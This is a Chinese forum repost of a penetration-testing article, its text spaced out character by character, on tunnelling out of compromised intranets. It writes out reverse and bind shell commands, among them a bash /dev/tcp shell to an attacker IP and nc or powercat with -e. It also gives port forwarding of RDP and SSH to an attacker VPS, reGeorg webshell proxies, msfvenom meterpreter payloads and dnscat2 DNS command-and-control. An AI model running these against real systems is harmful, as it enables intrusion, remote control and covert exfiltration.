搜索

[22256] 2021-08-15_内网隧道与SOCKS代理思路总结

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-08-15_内网隧道与SOCKS代理思路总结 内 网 隧 道 与 S O C K S 代 理 思 路 总 结 转 自 乌 雲 安 全   L e m o n S e c   2 0 2 1 - 0 8 - 1 5 内 网 中 有 很 多 边 界 设 备 ， 比 如 防 火 墙 。 这 种 边 界 设 备 会 控 制 内 部 主 机 的 对 外 连 接 ， 一 般 会 仅 允 许 某 些 种 类 的 端 口 开 放 或 某 种 数 据 流 量 出 入 这 就 意 味 着 我 们 只 能 通 过 有 限 的 选 择 ， 来 绕 过 防 火 墙 限 制 ， 与 目 标 内 网 中 的 机 器 通 信 ， 这 就 需 要 隧 道 了 ， 外 观 表 现 为 各 种 端 口 转 发 连 接 ， 深 层 次 还 是 隧 道 的 思 想 一 般 按 照 O S I 模 型 也 把 隧 道 按 照 不 同 层 的 协 议 划 分 为 网 络 层 隧 道 、 传 输 层 隧 道 、 应 用 层 隧 道 ， 按 部 就 班 （ 老 套 路 了 ） 本 文 只 做 思 路 总 结 ， 比 较 简 单 （ 懒 ） 没 啥 演 示 的 空 间 . . . . . . . 如 果 有 跨 网 段 不 通 的 地 方 请 脑 补 自 行 添 加 路 由 0 x 0 0 前 言 前 言 进 入 内 网 后 ， 需 要 判 断 一 下 这 台 机 器 是 否 可 以 出 网 常 见 的 几 种 判 断 方 式 ： 1 . I C M P 俗 话 说 得 好 ， 没 病 p i n g 一 下 。 比 如 p i n g   w w w . b a i d u . c o m ， 看 是 否 有 来 自 某 I P 的 回 复 信 息 2 . T C P 有 n c 的 话 可 以 试 试 某 个 I P 端 口 是 否 可 达     n c   - n   I P   p o r t     （ 如 果 是 域 名 形 式 不 要 加 - n 参 数 ， 啊 当 然 不 加 - n 也 可 以 接 I P 的 ） 前 提 是 测 试 主 机 上 有 n c （ n e t c a t ） 3 . H T T P 用 c u r l 工 具 （ 一 个 用 u r l 规 则 的 在 命 令 行 下 工 作 的 文 件 传 输 工 具 ， 支 持 文 件 上 传 下 载 ） ， c u r l 支 持 很 多 协 议 和 方 法 ， L i n u x 自 带 ， W i n d o w s 需 要 下 载 c u r l   I P : p o r t       还 是 开 了 有 反 应 ， 没 开 没 反 应 4 . D N S 用 n s l o o k u p   与     d i g 两 个 D N S 探 测 命 令 n s l o o k u p 是 W i n d o w s 自 带 的 命 令 ， L i n u x 也 能 用
d i g 则 是 L i n u x 自 带 的 命 令 两 者 没 有 指 定 v p s - i p 的 话 ， 默 认 用 默 认 用 系 统 配 置 的 n s l o o k u p   w w w . b a i d u . c o m   v p s - i p d i g   @ v p s - i p   w w w . b a i d u . c o m 0 x 0 1   隧 道 隧 道 网 络 层 隧 道 1 . I P V 6 隧 道 隧 道 简 单 来 说 是 把 I P V 4 作 为 隧 道 载 体 ， 在 I P V 4 报 文 中 封 装 I P V 6 报 文 。 欺 负 边 界 设 备 不 （ 怎 么 ） 关 注 I P V 6 的 数 据 安 全 ， 而 I P V 6 数 据 是 可 以 在 系 统 层 面 传 递 的 这 个 办 法 看 看 就 好 ， 实 际 上 有 很 多 限 制 ， 双 方 机 器 都 要 支 持 并 使 用 I P V 6 ， 且 边 界 路 由 有 一 定 的 配 置 ， 而 且 即 使 你 设 备 支 持 I P V 6 也 可 能 解 析 不 了 这 个 封 装 了 I P V 6 报 文 的 I P V 4 数 据 包 是 个 什 么 东 西 I P V 6 隧 道 目 的 是 在 I P V 4 的 大 海 中 连 接 I P V 6 孤 岛 ， 这 也 是 推 I P V 6 的 一 个 过 渡 策 略 （ 或 者 双 栈 ） 相 关 文 章 ： h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 2 0 2 9 0 1 . h t m l
h t t p s : / / b l o g . c s d n . n e t / a 1 7 6 6 8 5 5 0 6 8 / a r t i c l e / d e t a i l s / 9 5 0 4 6 9 2 3 h t t p : / / b l o g . s i n a . c o m . c n / s / b l o g _ 6 9 c 8 1 c 3 e 0 1 0 2 y 1 l 0 . h t m l   2 . I C M P 隧 道 隧 道 当 使 用 不 了 网 络 上 层 隧 道 的 话 ， 可 以 考 虑 底 层 的 I C M P 隧 道 （ 1 ） i c m p s h 以 工 具 i c m p s h 为 例 在 攻 击 者 V P S 上   之 后 a p t - g e t   i n s t a l l   p y t h o n - i m p a c k e t 　 　 安 一 下 类 库 s y s c t l   - w   n e t . i p v 4 . i c m p _ e c h o _ i g n o r e _ a l l = 1           关 闭 本 地 系 统 I C M P 应 答 c d   i c m p s h . / i c m p s h _ m . p y   < a t t a c k e r ' s - I P >   < t a r g e t - I P > 　 　 或 者 进 入 目 录 . / r u n . s h 运 行 ， 输 入 目 标 主 机 的 公 网 I P ， 开 始 监 听 （ I P 是 双 方 的 公 网 I P ） 受 害 者 主 机 上 传 攻 击 机 上 的 i c m p s h . e x e 文 件 ， 运 行 相 关 命 令 　 　 　 　 　 或 者 输 入 攻 击 机 上 生 成 的 命 令 都 行 如 果 成 功 会 在 V P S 攻 击 机 上 收 到 受 害 者 的 s h e l l （ 2 ） P i n g T u n n e l 跨 平 台 工 具 ， 需 要 自 行 安 装   h t t p : / / f r e s h m e a t . s o u r c e f o r g e . n e t / p r o j e c t s / p t u n n e l /                                                       攻 击 机 　 　 　 防 火 墙 　 　 　 跳 板 机 A 　 　 服 务 器 B 公 i p 1 　 　 　 　 　 　 　 　 　 公 i p 2       内 i p 3 　 　 内 i p 4 　 　 攻 击 者 已 经 获 取 A 的 权 限 ， 要 访 问 B ， 但 不 能 直 接 访 问 B ； A 也 不 能 直 接 访 问 B ， 但 是 A 可 以 p i n g 通 B （ 于 是 想 到 利 用 I C M P 隧 道 ） 则 在 A 上 传 P i n g T u n n e l ， 执 行   p t u n n e l   - x   p a s s w o r d   　 　 　 　 （ p a s s w o r d 为 连 接 密 码 ， 自 定 义 ） 攻 击 者 在 攻 击 机 　 　 公 i p 1 　 　 上 执 行 p t u n n e l   - p   公 i p 2   - l p   1 0 8 0   - d a   内 i p 4   - d p   3 3 8 9   - x   p a s s w o r d 　 　 　 　 （ 在 访 问 攻 击 机 本 机 的 i c m p s h . e x e   - t   < a t t a c k e r ' s - I P > 　 　 　
1 0 8 0 端 口 ， 将 服 务 器 B 的 3 3 8 9 端 口 数 据 封 装 到 I C M P 隧 道 中 ， 以 跳 板 机 A （ 公 i p 2 ） 为 跳 板 传 送 ， 即 最 后 结 果 是 在 攻 击 机 上 访 问 本 地 1 0 8 0 端 口 即 可 与 服 务 器 B 的 3 3 8 9 端 口 建 立 连 接 ） - x :   指 定 I C M P 隧 道 连 接 的 密 码   - l p :   指 定 攻 击 者 要 监 听 的 本 地 T C P 端 口 - d a :   指 定 要 转 发 的 第 三 方 目 标 机 器 的 I P 地 址   - d p :   指 定 要 转 发 的 第 三 方 目 标 的 T C P 端 口   - p :   指 定 I C M P 隧 道 另 一 端 的 机 器 的 I P 地 址   或 者 把 3 3 8 9 换 成 别 的 什 么 可 以 利 用 的 端 口 ， 例 如 2 2 ， 调 用 s s h 连 接 也 行   传 输 层 隧 道   3 . l c x 端 口 转 发 端 口 转 发 l c x 是 一 个 基 于 s o c k e t 套 接 字 的 端 口 转 发 工 具 ， W i n d o w s 版 本 为   l c x . e x e ， L i n u x 版 本 为 p o r t m a p 写 过 s o c k e t 的 都 知 道 ， 一 个 隧 道 有 两 端 ， 一 端 监 听 一 端 连 接 两 个 版 本 的 下 载 连 接   h t t p s : / / g i t h u b . c o m / M r A n o n y m o u s - 1 / l c x 把 l c x 搞 到 目 标 机 器 上 在 目 标 机 器 上 执 行         l c x . e x e   - s l a v e   < a t t a c k e r ' s - I P >   < a t t a c k e r ' s - P o r t >   1 2 7 . 0 . 0 . 1   3 3 8 9             比 如 说 把 目 标 机 器 本 地 的 3 3 8 9 端 口 转 发 到 攻 击 者 V P S   的 某 端 口 上 然 后 在 攻 击 机 V P S 上 运 行       l c x . e x e   - l i s t e n   < a t t a c k e r ' s - P o r t >   < a t t a c k e r ' s - P o r t 2 >         将 本 机 p o r t 端 口 上 监 听 的 数 据 转 到 本 机 p o r t 2 端 口 上 啊 ， 然 后 攻 击 者 在 攻 击 机 V P S 上 m s t s c 访 问 1 2 7 . 0 . 0 . 1 : P o r t 2 就 可 以 远 程 访 问 目 标 机 器 了 假 如 3 3 8 9 被 防 火 墙 干 了 ， 数 据 过 不 去 怎 么 办 ？ 那 就 把 目 标 机 器 的 3 3 8 9 端 口 映 射 到 一 个 防 火 墙 允 许 的 端 口 呗 目 标 机 器 上 执 行         l c x   - t r a n   5 3   1 2 7 . 0 . 0 . 1   3 3 8 9         然 后 上 面 的 命 令 再 来 一 遍 ， 这 次 转 发 5 3 端 口 到 攻 击 机 V P S 就 好 了 ， 5 3 一 般 不 会 禁 吧   p o r t m a p 的 话 　 　 在 目 标 主 机 上 执 行 . / p o r t m a p   - m   3   - h 1   1 2 7 . 0 . 0 . 1   - p 1   2 2   - h 2   < a t t a c k e r ' s - I P >   - p 2   2 3 3 将 本 地 2 2 端 口 的 流 量 转 发 到 攻 击 机 V P S 的 2 3 3 端 口 然 后 在 攻 击 机 V P S 上 监 听 2 3 3 端 口 流 量 转 发 到 2 3 3 3 端 口
. / p o r t m a p   - m   2   - p 1   2 3 3   - h 2   1 2 7 . 0 . 0 . 1   - p 2   2 3 3 3     在 攻 击 机 V P S 上   s s h   用 户 名 @ 1 2 7 . 0 . 0 . 1   - p   2 3 3 3   　 　 就 相 当 于 s s h 了 目 标 主 机 和 l c x 原 理 一 样 的 4 . n e t c a t 下 载 　 　 h t t p s : / / s o u r c e f o r g e . n e t / p r o j e c t s / n e t c a t / f i l e s / n e t c a t / 0 . 7 . 1 / n e t c a t - 0 . 7 . 1 . t a r . g z / d o w n l o a d 关 于 n c 的 使 用 方 法     参 考 h t t p s : / / w w w . f r e e b u f . c o m / s e c t o o l / 1 6 8 6 6 1 . h t m l 这 篇 文 章 n c 可 以 说 的 功 能 很 多 ， 比 如 抓 b a n n e r 、 扫 端 口 、 聊 天 、 上 传 接 受 文 件 、 监 听 端 口 . . . . . . 不 一 一 详 细 解 读 了 ， 主 要 整 理 内 网 隧 道 说 这 些 没 啥 意 义 很 多 功 能 需 要 双 方 机 器 都 有 n c ， 那 没 有 n c 的 机 器 怎 么 搞 ？ 这 涉 及 到 两 个 概 念 ： 正 向 s h e l l （ 客 户 端 连 服 务 器 ） 反 向 s h e l l （ 服 务 器 连 客 户 端 ） 通 常 使 用 反 向 s h e l l ， 即 服 务 端 攻 击 机 监 听 n c   - l v p   p o r t ， 客 户 端 目 标 主 机 去 连 接 服 务 端 常 见 的 b a s h 反 向 s h e l l ， 在 目 标 主 机 上   　 　 　 　 　 　 b a s h   - i   > &   / d e v / t c p / < a t t a c k e r ' s   I P > / < a t t a c k e r ' s   l i s t e n i n g   p o r t >   0 > & 1 或 者 目 标 机 器 支 持 其 他 语 言 ， 可 以 用 语 言 写 命 令 执 实 际 上 建 立 内 网 “ 隧 道 ” 也 好 “ 端 口 转 发 ” 也 好 ， 当 跳 板 这 一 块 非 其 所 长 ， 但 也 能 用 ， 要 不 怎 么 叫 瑞 士 军 刀 还 是 借 用 之 前 的 例 子 改 编 一 下 下 攻 击 机 　 　 　 防 火 墙 　 　 　 跳 板 机 A 　 　 服 务 器 B 公 i p 1 　 　 　 　 　 　 　 　 　 公 i p 2       内 i p 3 　 　 内 i p 4 　 　 攻 击 者 已 经 获 取 A 的 权 限 ， 要 访 问 B ， 但 不 能 直 接 访 问 B ； A 可 以 访 问 B 攻 击 机 V P S 上   　 　 n c   - l v p   2 3 3 3 跳 板 机 A 上 　 　 n c   - v   公 i p 1   2 3 3 3   - c   " n c   - v   内 i p 4   3 3 3 3 " 服 务 器 B 上 　 　 n c   - l v p   3 3 3 3   - e   / b i n / b a s h 5 . P o w e r c a t   顾 名 思 义 p o w e r s h e l l 版 n c 下 载 链 接 　 　 h t t p s : / / g i t h u b . c o m / b e s i m o r h i n o / p o w e r c a t 使 用 方 法 就 不 说 了 ， 只 说 跳 板 部 分 跳 板 机 A 上 　 　 p o w e r c a t   - l   - v   - p   8 8 8 8   - r   t c p : 内 i p 4 : 9 9 9 9 攻 击 机 V P S 上 　 　 n c   公 i p 2   8 8 8 8   - v v 服 务 器 B 上 　 　 p o w e r c a t   - l   - v   - p   9 9 9 9   - e   c m d . e x e 应 用 层 隧 道
6 . S S H 协 议 协 议 类 U N I X 的 基 本 都 支 持 s s h 协 议 ， 由 于 是 加 密 的 协 议 ， 也 很 难 区 分 哪 些 是 合 法 的 哪 些 是 不 合 法 的 会 话 ， 就 非 常 好 s s h 都 是     s s h   用 户 名 @ i p   - p   p o r t 　 　 这 么 用 的 创 建 s s h 隧 道 常 用 的 参 数 有 ：           - C ： 压 缩 传 输 ， 提 高 传 输 速 度         - f ： 将 s s h 传 输 转 入 后 台 执 行 ， 不 占 用 当 前 的 s h e l l         - N ： 静 默 连 接 ， 连 接 后 看 不 到 具 体 会 话         - g ： 允 许 远 程 主 机 连 接 本 地 用 于 转 发 的 端 口         - L ： 本 地 端 口 转 发         - R ： 远 程 端 口 转 发         - D ： 动 态 转 发 （ S O C K S   代 理 ）         - p ： 指 定 s s h 端 口 攻 击 机 　 　 　 防 火 墙 　 　 　 跳 板 机 A 　 　 服 务 器 B 公 i p 1 　 　 　 　 　 　 　 　 　 公 i p 2       内 i p 3 　 　 内 i p 4 　 　 攻 击 者 已 经 获 取 A 的 权 限 ， 要 访 问 B ， 但 不 能 直 接 访 问 B ； A 可 以 访 问 B   在 攻 击 机 V P S 上 执 行 　 　 s s h   - C f N g   - L   p o r t ( v p s 端 口 ) : 内 i p 4 ( 目 标 机 i p ) : 3 3 8 9 ( 目 标 端 口 )   r o o t @ 公 i p 2 ( 跳 板 机 )   访 问 攻 击 机 V P S 的 p o r t 端 口 ， 就 相 当 于 与 目 标 机 器 建 立 了 3 3 8 9 连 接   攻 击 机 上   　 r d e s k t o p   1 2 7 . 0 . 0 . 1 : p o r t 假 如 攻 击 机 V P S 不 能 访 问 内 网 的 所 有 机 器 ， 连 A 也 不 能 访 问 ， 那 怎 么 办 ？ 那 就 让 B 通 过 A 来 访 问 攻 击 机 V P S 在 跳 板 机 上 执 行 　 　 s s h   - C f N g   - R   p o r t ( v p s 端 口 ) : 内 i p 4 ( 目 标 机 i p ) : 3 3 8 9 ( 目 标 端 口 )   r o o t @ 公 i p 1 ( v p s ) 则 访 问 攻 击 机 V P S 的 p o r t 端 口 ， 即 访 问 目 标 机 器 的 3 3 8 9 两 个 例 子 两 者 正 好 相 反 ， 分 别 是 本 地 转 发 与 远 程 转 发 还 有 一 种 叫 动 态 转 发 之 前 的 例 子 都 有 目 标 机 器 有 具 体 端 口 ， 啊 如 果 不 知 道 目 标 的 具 体 情 况 呢 在 攻 击 机 V P S 上 执 行 　 　 s s h   - C f N g   - D   p o r t   r o o t @ 公 i p 2 　 　 相 当 于 建 立 了 一 个 动 态 的 S O C K S 代 理 通 道 在 攻 击 机 V P S 本 地 浏 览 器 设 置 好 s o c k s 代 理 　 　 　 　 1 2 7 . 0 . 0 . 1   p o r t 即 可 通 过 攻 击 机 V P S 的 浏 览 器 访 问 目 标 内 网 某   i p 7 . H T T P / H T T P S 协 议 协 议
非 常 常 见 的     r e G e o r g r e G e o r g - - - - - 一 款 正 向 代 理 工 具 ， 即 把 代 理 脚 本 扔 到 跳 板 机 上 （ 当 然 会 被 杀 软 干 掉 的 ） ， 然 后 攻 击 机 V P S 去 连 接 跳 板 机 下 载 链 接       h t t p s : / / g i t h u b . c o m / s e n s e p o s t / r e G e o r g 取 得 跳 板 机 权 限 了 之 后 ， 需 要 把 t u n n e l . 什 么 什 么 上 传 到 跳 板 机 上 （ 别 忘 了 要 扔 到 w e b 目 录 里 啊 ） ， 这 个 什 么 ， 取 决 于 跳 板 机 支 持 什 么 语 言 环 境 （ a s p x , j s p , p h p , a s h x ） p h p 还 分 了 个 n o s o c k e t 版 本 的 ， 用 t u n n e l . p h p 还 需 要 改 p h p 配 置 文 件 所 以 常 用 t u n n e l . n o s o c k e t . p h p 版 以 P H P 环 境 为 例 攻 击 机 　 　 　 防 火 墙 　 　 　 跳 板 机 A 　 　 服 务 器 B 公 i p 1 　 　 　 　 　 　 　 　 　 公 i p 2       内 i p 3 　 　 内 i p 4 　 　 还 是 内 网 ， 目 标 机 器 B 不 能 通 外 网 ， 但 A 、 B 可 互 访 攻 击 机 V P S 上 执 行 　 　 　 　 p y t h o n   r e G e o r g S o c k s P r o x y . p y   - u   h t t p : / / 公 i p 2 / t u n n e l . n o s o c k e t . p h p   - p   p o r t 即 访 问 跳 板 机 A 上 传 过 去 的 t u n n n e l . n o s o c k e t . p h p 文 件 ， 并 用 r e G e o r g S o c k s P r o x y . p y 监 听 本 地 的 p o r t 端 口 然 后 要 用 到 r e G e o r g 的 好 兄 弟 p r o x i f i e r 与 p r o x y c h a i n s 了 ， 这 俩 都 是 可 支 持 s o c k s 5 （ s o c k s 4 只 支 持 T C P 、 s o c k s 5 支 持 T C P / U D P 、 身 份 验 证 机 制 ） 的 客 户 端 ， 一 个 w i n d o w s 平 台 G U I （ 也 可 以 跨 平 台 ） ， 一 个 L i n u x 平 台 命 令 行 ， 考 虑 到 攻 击 机 V P S 是 k a l i 的 话 ， p r o x y c h a i n s + r e G e o r g 用 的 会 比 较 多
下 载 链 接   ： h t t p s : / / w w w . p r o x i f i e r . c o m h t t p s : / / g i t h u b . c o m / r o f l 0 r / p r o x y c h a i n s - n g h t t p : / / p r o x y c h a i n s . s o u r c e f o r g e . n e t / 具 体 使 用 方 法 参 考 下 面 两 篇 文 章 不 再 复 述 ， 都 需 要 在 攻 击 机 V P S 中 手 动 下 载 安 装 配 置 端 口 或 者 配 置 文 件 啥 的 ， 各 自 配 置 方 式 不 同 h t t p s : / / w w w . c n b l o g s . c o m / 7 - 5 8 / p / 1 2 9 3 2 6 4 9 . h t m l h t t p s : / / c l o u d . t e n c e n t . c o m / d e v e l o p e r / a r t i c l e / 1 6 7 4 1 0 7 比 如 p r o x y c h a i n s 需 要 v i m   / e t c / p r o x y c h a i n s . c o n f       ， 在 最 后 添 加 一 行 ， 具 体 配 合 r e G e o r g 端 口 ： 　 　 s o c k s 5   1 2 7 . 0 . 0 . 1   p o r t   在 攻 击 机 V P S 本 地 使 用 这 俩 访 问 目 标 机 服 务 器 B 了 ， 类 似 这 种 命 令 具 体 看 情 况 ：           p r o x y c h a i n s   r d e s k t o p   内 i p 4 或 者 干 点 啥 n m a p 扫 描 内 网 都 可 以   话 说 如 果 有 m e t e r p r e t e r ， r u n   g e t _ l o c a l _ s u b n e t s 获 取 网 络 接 口 、 r u n   a u t o r o u t e   - p   查 看 路 由 、 r u n   a u t o r o u t e   - s   x . x . x . 0 / 2 4 加 个 路 由 ， u s e   a u x i l i a r y / s e r v e r / s o c k s 4 a ， s e t   s r v p o r t   p o r t   , 然 后 按 照 上 面 的 步 骤 改 p r o x y c h a i n s . c o n f （ 注 意 这 回 用 s o c k s 4 啊 ， s o c k s 4   I P   p o r t ） ， 也 一 样 能 实 现 将 攻 击 机 V P S “ 贴 ” 到 跳 板 机 上 （ 补 充 一 点 题 外 话 ： 警 告 ！ ！ ！ 警 告 ！ ！ ！ 存 在 多 级 网 络 跳 跃 的 情 况 的 时 候 ， 即 攻 击 者 通 过 连 主 机 A 再 到 主 机 B 再 到 主 机 C . . . . . . 　 　 注 意 选 择 是 正 向 连 接 目 标 还 是 反 向 连 接 目 标 ， 例 如 用 t c p 协 议 的 话 ， 是 s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / b i n d _ t c p 还 是 s e t   p a y l o a d w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p 目 标 机 器 能 找 到 攻 击 机 的 话 优 先 选 反 向 r e v e r s e ， 目 标 机 器 不 能 找 得 到 攻 击 机 的 话 用 正 向 b i n d 生 成 后 门 的 时 候 也 注 意 选 择 正 向 后 门 ， 例 如     m s f v e n o m   - p   l i n u x / x 6 4 / m e t e r p r e t e r / b i n d _ t c p   . . . . . . 还 是 反 向 后 门   例 如   m s f v e n o m   - p l i n u x / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p . . . . . . ） 8 . D N S 协 议 协 议 D N S 和 I C M P 、 H T T P H T T P S 一 样 ， 属 于 容 易 钻 空 子 的 协 议 ， 一 般 正 常 走 流 量 需 要 这 些 协 议 ， 有 隧 道 的 操 作 空 间 D N S 解 析 的 时 候 ， 如 果 域 名 本 地 查 不 到 ， 是 会 向 其 他 根 域 名 服 务 器 查 询 的 介 绍 两 个 工 具   ： d n s c a t 2 、 i o d i n e d n s c a t 2 是 一 个 命 令 行 工 具 ， 有 两 个 组 件 ， 分 别 是 C 写 的 客 户 端 和 r u b y 写 的 服 务 端 ， 混 血 儿 客 户 端 安 在 目 标 机 器 中 保 持 运 行 状 态 ， 所 以 用 之 前 需 要 编 译 ； 服 务 端 需 要 在 一 个 D N S 服 务 器 （ V P S ） 上 运 行 下 载 链 接     h t t p s : / / g i t h u b . c o m / i a g o x 8 6 / d n s c a t 2 d n s c a t 2 有 两 种 运 行 模 式 ： 直 连 模 式 （ 客 户 端 直 接 向 指 定 的 I P 的 D N S 服 务 器 发 起 D N S 请 求 ） 和 中 继 模 式 （ D N S 经 历 迭 代 解 析 之 后 再 去 指 向 指 定 的 D N S 服 务 器 ） ， 直 连 比 中 继 要 快 的 ， 但 是 直 连 容 易 在 目 标 机 器 请 求 日 志 中 暴 露 （ 有 特 征 ‘ d n s c a t ’ ） ， 况
且 一 旦 有 D N S 请 求 的 白 名 单 限 制 ， 就 只 能 用 中 继 ， 申 请 域 名 并 把 d n s c a t 2 的 服 务 端 指 定 为 受 信 任 的 D N S 服 务 器 接 下 来 需 要 买 一 台 V P S 当 C & C 服 务 器 ， 买 一 个 可 控 制 的 域 名 ， 安 L i n u x 系 统 ， 创 建 A 记 录 ， 把 自 己 的 域 名 解 析 服 务 器 指 向 V P S 服 务 器 ， 搞 几 个 N S 记 录 ， 把 完 整 域 名 的 子 域 名 对 应 的 解 析 也 指 向 域 名 解 析 服 务 器 然 后 安 装 服 务 端 参 考 文 章 ： h t t p s : / / b l o g . c s d n . n e t / l o c a l h o s t 0 1 / a r t i c l e / d e t a i l s / 8 6 5 9 1 6 8 5 服 务 端 需 要 r u b y 环 境 ， 安 好 s u d o   r u b y   . / d n s c a t 2 . r b   域 名   - e   o p e n   - c   连 接 密 码   - - n o - c a c h e 直 连 的 话 s u d o   r u b y   . / d n s c a t 2 . r b   - - d n s   s e r v e r = 1 2 7 . 0 . 0 . 1 , p o r t   =   2 3 3 3 , t y p e = T X T   - - s e c r e t = 连 接 密 码 监 听 本 机 2 3 3 3 端 口 之 后 在 目 标 主 机 上 安 装 客 户 端   C 语 言 写 的 ， 使 用 之 前 需 要 先 编 译 ， 用 编 译 好 的 e x e 客 户 端 d n s c a t 2 - v 0 . 0 7 - c l i e n t - w i n 3 2 . e x e   - - d n s   d o m a i n = 域 名   - - s e c r e t   连 接 密 码 或 者 服 务 端 直 连 那 种 d n s c a t   - - d n s   s e r v e r = d n s c a t 2 服 务 端 i p , p o r t =   2 3 3 3 , t y p e = T X T   - - s e c r e t = 连 接 密 码 如 果 目 标 主 机 支 持 p o w e r s h e l l 2 以 上 版 本 ， 可 以 使 用 一 个 叫 d n s c a t 2 - p o w e r s h e l l 的 脚 本 详 情 参 考 先 知 社 区 　 　 h t t p s : / / x z . a l i y u n . c o m / t / 2 2 1 4   之 后 介 绍 i o d i n e （ 碘 ） 碘 原 子 数 5 3 即 D N S 端 口 号 ， 也 是 有 客 户 端 和 服 务 端 程 序 区 分 的 ， 也 支 持 直 连 和 中 继 两 种 模 式 原 理 是 通 过 虚 拟 网 卡 在 服 务 端 和 客 户 端 各 建 立 一 个 局 域 网 ， 两 者 通 过 D N S 隧 道 连 接 ， 处 于 同 一 个 局 域 网 可 以 互 相 通 信 仍 然 需 要 一 个 可 以 操 控 的 域 名 ， 具 体 不 介 绍 了 详 细 可 以 参 考 这 篇 文 章     h t t p s : / / w w w . c n b l o g s . c o m / m i c r 0 6 7 / p / 1 2 2 6 3 3 3 7 . h t m l 9 . S O C K S 代 理 代 理 s o c k s 是 一 种 代 理 服 务 ， 可 以 说 是 一 个 升 级 版 的 l c x s o c k s 协 议 中 有 交 互 协 议 ， 当 访 问 某 个 网 站 的 时 候 ， 浏 览 器 会 把 被 访 问 目 标 的 U R L 和 服 务 端 口 交 给 s o c k s 服 务 端 进 行 解 析 ， s o c k s 服 务 端 解 析 后 代 替 浏 览 器 去 访 问 目 标 网 站 ， 将 结 果 返 回 给 浏 览 器 端 口 转 发 的 话 是 帮 忙 访 问 主 机 的 某 个 端 口 ， 一 对 一 ， 而 s o c k s 是 不 需 要 知 道 访 问 哪 个 端 口 ， 一 对 多   代 表 工 具 ： E a r t h W o r m （ 蚯 蚓 ） 下 载 连 接   h t t p s : / / g i t h u b . c o m / r o o t k i t e r / E a r t h W o r m
h t t p s : / / c o d e l o a d . g i t h u b . c o m / i d l e f i r e / e w / z i p / m a s t e r 所 有 讲 内 网 穿 透 的 ， 都 绕 不 开 这 个 工 具 ， 两 大 功 能 ： s o c k s 5 服 务 端 和 端 口 转 发 ， 用 于 网 络 穿 透 还 可 以 用 新 版 的 E W   即 T e r m i t e         h t t p : / / r o o t k i t e r . c o m / T e r m i t e /   E W 六 种 命 令 格 式 ： s s o c k s d 　 　 r c s o c k s 　 　 r s s o c k s 　 　 l c x _ s l a v e 　 　 l c x _ l i s t e n 　 　 l c x _ t r a n 普 通 环 境 中 正 向 连 接 用 s s o c k s d ， 反 弹 连 接   r c s o c k s 　 r s s o c k s ， 剩 下 三 个 用 于 多 层 网 络 级 联 具 体 使 用 请 参 考   h t t p s : / / w w w . c n b l o g s . c o m / b o n e l e e / p / 1 2 5 1 1 1 0 1 . h t m l 后 续 还 有 一 些 补 充 ， 暂 时 写 到 这 吧 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 补 充 ： 由 于 E W 早 就 停 更 了 于 是 再 推 荐 两 款 流 行 的 工 具 ： n g r o k 和   f r p 比 较 简 洁 f r p 链 接 ： h t t p s : / / g i t h u b . c o m / f a t e d i e r / f r p 也 是 有 客 户 端 服 务 端 的 ， 和 E W 一 样 需 要 自 购 V P S 搭 建 ， 具 体 命 令 请 参 考 其 他 师 傅 们 的 文 章 n g r o k 国 内 链 接 ： h t t p : / / w w w . n g r o k . c c / 　 　 或 者 去 官 网 　 　 h t t p s : / / n g r o k . c o m / 用 国 内 的 就 好 很 方 便 ， 不 用 自 己 搭 服 务 器 了 可 以 注 册 账 号 ， 花 钱 买 隧 道 （ 免 费 的 速 度 堪 忧 ） ， 傻 瓜 式 操 作 如 果 有 隐 私 方 面 的 考 虑 不 建 议 使 用 此 方 法 ， 可 以 自 建 服 务 器 用 f r p   或 者 使 用 n p s 参 考 ： h t t p s : / / w w w . j i a n s h u . c o m / p / c f b e d 4 9 e 1 7 2 8 渗 透 工 具 ｜ 提 权 ｜ 内 网 ｜ S R C ｜ C S 端 安 全 测 试 ｜ 安 全 加 固 等 资 料 分 享 A p a c h e   T o m c a t   自 动   W A R   部 署 和   渗 透 测 试 工 具 h a s h 认 证 概 念 与 h a s h 破 解 方 式 ( 工 具 使 用 方 式 ) 作 者 ： a n o l d c a t 转 载 于 h t t p s : / / w w w . c n b l o g s . c o m / l c x b l o g s / p / 1 3 9 3 1 4 9 6 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理